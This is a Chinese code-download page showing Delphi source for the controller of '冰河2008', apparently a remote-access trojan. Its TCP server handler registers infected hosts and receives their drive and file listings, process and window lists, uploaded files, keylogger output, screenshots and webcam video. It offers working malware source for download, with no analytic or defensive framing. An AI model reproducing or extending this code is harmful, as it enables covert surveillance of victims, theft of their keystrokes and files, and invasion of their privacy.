⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.~pas

📁 冰河2008远程控制迎奥运版,国内鼎鼎大名的老牌远控
💻 ~PAS
📖 第 1 页 / 共 2 页
字号:

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var
  MyStream: TMemoryStream;
  RecCMD,TempStr: string;
  ListItem:TListItem;
  RootDStrList: TStringList;
  Tmpmemo: TStringlist;
  TheLItem: TListItem;
  tmplinestr, symbolstr, tmptimestr: string;
  Drivernum, i,j:integer;
  TMP: TTreeNode;
  BufferLen: Integer;
  MyBuffer: array[0..1000000] of byte;
  memStream: TMemoryStream;
  jpg: TJpegImage;
  ASize:Int64;
  AFileStream: TFileStream;
begin         //执行反映
   try
    RecCMD:=AThread.Connection.ReadLn();
   except
       try
       AThread.Connection.Disconnect;
       AThread.Terminate;
       except
       end;
     Exit;
   end;
   case strtoint(RecCMD) of    //开始循环000 查看远程消息的传递
000: begin
      if ReadSeverStream(AThread,TempStr) then
      begin
       Tmpmemo:= TStringlist.Create;
       Tmpmemo.Clear;
       Tmpmemo.Text:= TempStr;
       OnlineServer[count].ServerName:= Tmpmemo.Strings[0];
       OnlineServer[count].AThread:=AThread;
       OnlineServer[count].Soc:= AThread.ThreadID;
       OnlineServer[count].ServerAdd:= AThread.Connection.Socket.Binding.PeerIP;
       ListItem:= ListView1.Items.Add;
       ListItem.Caption:=OnlineServer[count].ServerName+'-'+inttostr(OnlineServer[count].Soc);
       ListItem.SubItems.Add(OnlineServer[count].ServerAdd);
       ListItem.SubItems.Add(Form1.GetIPtoAdder(AThread.Connection.Socket.Binding.PeerIP));
       ListItem.SubItems.Add(Tmpmemo.Strings[1]);
       ListItem.ImageIndex:=0;
       inc(count);
       Tmpmemo.Free;
      end;
     end;
001: begin
       wenjian.Enabled:=false;
       if ReadSeverStream(AThread,TempStr) then
       begin
       RootDStrList:=TStringList.Create;
       RootDStrList.Text := TempStr;
       wenjian.ListView1.Items.Clear;
           if wenjian.Treeview1.Selected.HasChildren then
              wenjian.Treeview1.Selected.DeleteChildren;

           for i := 0 to RootDStrList.Count - 1 do
            begin
             if RootDStrList[i] = '' then Break;  //停止
             TempStr := Copy(RootDStrList[i], 1, 2);
              TMP := wenjian.Treeview1.items.AddChild(wenjian.Treeview1.Selected, TempStr);
             Drivernum := StrtoInt(Copy(RootDStrList[i], 3, 1));

              TMP.ImageIndex :=7;
              TMP.SelectedIndex := 7;

               TMP := wenjian.Treeview1.items.AddChild(TMP, 'Loading...');
               TMP.ImageIndex := -1;
               TMP.SelectedIndex := -1;
               with wenjian.ListView1.Items.Add do
                 begin
                  Caption := TempStr;
                  subitems.text :=' ';
                  ImageIndex := 2;
                 end;
            end;

       end;
       wenjian.Enabled:=true;
     end;
002: begin
       wenjian.Enabled:=false;
        if ReadSeverStream(AThread,TempStr) then
        begin
          Tmpmemo:= TStringlist.Create;
          Tmpmemo.Clear;
          Tmpmemo.Text:= TempStr;

        if Tmpmemo.Text='' then
         begin
          Tmpmemo.Free;
          wenjian.Enabled:=true;
          Exit;
        end;
       wenjian.Treeview1.items.Delete(wenjian.Treeview1.Selected.getFirstChild);
       for i:=0 to Tmpmemo.Count-1 do
       begin
        Tmplinestr := Tmpmemo.Strings[i];
        Symbolstr := Copy(tmplinestr, 1, 1);
        Tmptimestr := Copy(tmplinestr, 2, 16);
        Delete(tmplinestr, 1, 17);
       if symbolstr = '*' then
       begin
        TMP := wenjian.Treeview1.items.AddChild(wenjian.Treeview1.Selected, Tmplinestr);
        TMP.ImageIndex := 8;
        TMP.SelectedIndex := 9;
        TMP := wenjian.Treeview1.items.AddChild(TMP, '.');
        TMP.ImageIndex := -1;
        TMP.SelectedIndex := -1;
        with wenjian.ListView1.Items.Add do
        begin
          Caption := tmplinestr;
          subitems.text := ' ';
          wenjian.ListView1.Items.Item[i].SubItems.Add(Tmptimestr);
          ImageIndex := 3;
        end;
       end;
      if symbolstr = '\' then
        begin
        with wenjian.ListView1.Items.Add do
        begin
         Caption := copy(tmplinestr, length(getfilesize(tmplinestr)) + 2, length(tmplinestr));
         subitems.text := getfilesize(tmplinestr);
          ImageIndex :=5 ;
        end;
       end;
       end;


        end;
       wenjian.Enabled:=true;
     end;
013:begin
     try
      AFileStream := TFileStream.Create(SaveDialog1.FileName, fmCreate);
      AThread.Connection.OnWork:=  Form1.IdTCPServer1Work;
      AThread.Connection.OnWorkBegin:=Form1.IdTCPServer1WorkBegin;
      AThread.Connection.OnWorkEnd:=  Form1.IdTCPServer1WorkEnd;
      ASize:= AThread.Connection.ReadInteger();
      AThread.Connection.ReadStream(AFileStream, ASize);
      finally
      AFileStream.Free;
      end;
    end;
020:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
     jincheng.ListView1.Items.Clear;
     Tmpmemo := TStringList.Create;
     Tmpmemo.Text:=TempStr;
     // ----添加
               j := 0;
          for i := 0 to Tmpmemo.Count - 1 do
          begin
            if Tmpmemo.Strings[i] = '' then break;   //停止
            j := j + 1;
            if j = 1 then
            begin
              TheLItem :=jincheng.ListView1.Items.Add;
              TheLItem.Caption := Tmpmemo[i];
            end;
            if j = 2 then TheLItem.SubItems.Add(Tmpmemo[i]);
            if j = 3 then TheLItem.SubItems.Add(Tmpmemo[i]);
            if j = 4 then
            begin
              if StrToInt(Tmpmemo[i]) <= 2 then TheLItem.SubItems.Add('暂缺') else
                if StrToInt(Tmpmemo[i]) <= 4 then TheLItem.SubItems.Add('低') else
                  if StrToInt(Tmpmemo[i]) <= 6 then TheLItem.SubItems.Add('低于标准') else
                    if StrToInt(Tmpmemo[i]) <= 8 then TheLItem.SubItems.Add('标准') else
                      if StrToInt(Tmpmemo[i]) <= 10 then TheLItem.SubItems.Add('高于标准') else
                        if StrToInt(Tmpmemo[i]) <= 13 then TheLItem.SubItems.Add('高') else
                          if StrToInt(Tmpmemo[i]) <= 24 then TheLItem.SubItems.Add('实时') else
                            TheLItem.SubItems.Add('暂缺');
            end;
            if j = 5 then
            begin
              TheLItem.SubItems.Add(Tmpmemo[i]);
              j := 0;
            end;
          end;
          Tmpmemo.Free;

      end;

    end;
030:begin
        MyStream:=TMemoryStream.Create;
        i := AThread.Connection.ReadInteger;
        AThread.Connection.ReadStream(MyStream, i, False);
        MyStream.Position := 0;
       chuanko.ListBox1.Items.LoadFromStream(MyStream);
        MyStream.Free;
    end;
040:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
       if TempStr='Cmd009' then
         jianpan.Memo1.Lines.Add('启动键盘记录成功!查看记录前请先终止键盘记录!');
       if TempStr='Cmd010' then
         jianpan.Memo1.Lines.Add('键盘记录已经启动过了!');
      end;
    end;
041:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
        if TempStr='Cmd012' then
          jianpan.Memo1.Lines.Add('终止键盘记录成功!');
      end;
    end;
042:begin
        MyStream:=TMemoryStream.Create;
        i := AThread.Connection.ReadInteger;
        AThread.Connection.ReadStream(MyStream, i, False);
        MyStream.Position := 0;
        jianpan.Memo1.Lines.LoadFromStream(MyStream);
        MyStream.Free;
    end;
043:begin
      if ReadSeverStream(AThread,TempStr) then
      begin
      if TempStr='Cmd014' then
         jianpan.Memo1.Lines.Add('清空键盘记录完成!');
      end;
    end;
050:begin
     BufferLen:= AThread.Connection.ReadInteger();
     AThread.Connection.ReadBuffer(MyBuffer,BufferLen);
     MyFirstBmp.Clear;
     MyFirstBmp.Write(MyBuffer,BufferLen);
     MyFirstBmp.Position := 0;
     pingmu.Show;   //启动屏幕查看
     pingmu.Image1.Picture.Bitmap.LoadFromStream(MyFirstBmp);
    end;
060:begin
   try
 //   repeat
    while AThread.Connection.Connected do
    begin
    memStream := TMemoryStream.Create;
    BufferLen := AThread.Connection.ReadInteger;
    memStream.Size := BufferLen;
    AThread.Connection.ReadBuffer(memStream.Memory^, BufferLen);
    jpg := TJpegImage.Create;
    jpg.LoadFromStream(memStream);
    shipin.Image1.Picture.Bitmap.Assign(jpg);
    jpg.Free;
    memStream.Free;
  //  until (AThread.Connection.Connected=False);
    end;
   except
   end;
   end;
061:begin                      //擦测到摄像头
     for i:=0 to count-1 do
     begin
      if  OnlineServer[i].Soc = AThread.ThreadID then
      begin
        for j:=0 to ListView1.Items.Count-1 do
          if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
          begin
              ListView1.Items.Item[j].ImageIndex:= 1;
              break;   //停止
          end;
      end;
    end;
   end;
062:begin
     for i:=0 to count-1 do
     begin
      if  OnlineServer[i].Soc = AThread.ThreadID then
      begin
        for j:=0 to ListView1.Items.Count-1 do
          if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
          begin
              ListView1.Items.Item[j].ImageIndex:= 0;
              break;  //停止
          end;
      end;
    end;
    end;
064:begin
     if ReadSeverStream(AThread,TempStr) then
        shipin.StatusBar1.SimpleText:=TempStr;
    end;
   end;  //end case
end;

procedure TForm1.IdTCPServer1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
  try
    jindu.Gauge1.Progress := 0;
    jindu.Gauge1.MaxValue := AWorkCountMax;
  except
  end;
end;

procedure TForm1.IdTCPServer1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
begin
   jindu.Close;
end;

procedure TForm1.IdTCPServer1Work(Sender: TObject;AWorkMode: TWorkMode; const AWorkCount: Integer);
begin
  try
    jindu.Gauge1.Progress := AWorkCount;
    Application.ProcessMessages;
  except
  end;
end;


procedure TForm1.FormDestroy(Sender: TObject);
begin
     MyFirstBmp.Free;    //释放内存
     FleshIPList.Free;
end;

procedure TForm1.ListView1Change(Sender: TObject; Item: TListItem;
  Change: TItemChange);
begin
   StatusBar1.Panels.Items[1].Text:='在线主机'+inttostr(ListView1.Items.Count)+'台';
end;

procedure TForm1.ListView1Click(Sender: TObject);
var
i:integer;
begin
    //showmessage(inttostr(ListView1.ItemIndex ));
    if ListView1.Items.Count<>0 then
    if ListView1.ItemIndex <> -1 then
   for i:=0 to count-1 do
    begin
     if  OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) =ListView1.Items.Item[ListView1.ItemIndex ].Caption then //ListView1.Selected.Caption then
     begin
        CurrentThread:= OnlineServer[i].AThread;
        break;    //停止
     end;
    end;
end;

procedure TForm1.ToolButton7Click(Sender: TObject);
begin
   ZhuDongCmdSend('030','',false);
   chuanko.Show;
end;

procedure TForm1.ToolButton8Click(Sender: TObject);
begin
   jianpan.Show;
end;

procedure TForm1.N7Click(Sender: TObject);
begin
ALALMN.Show;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -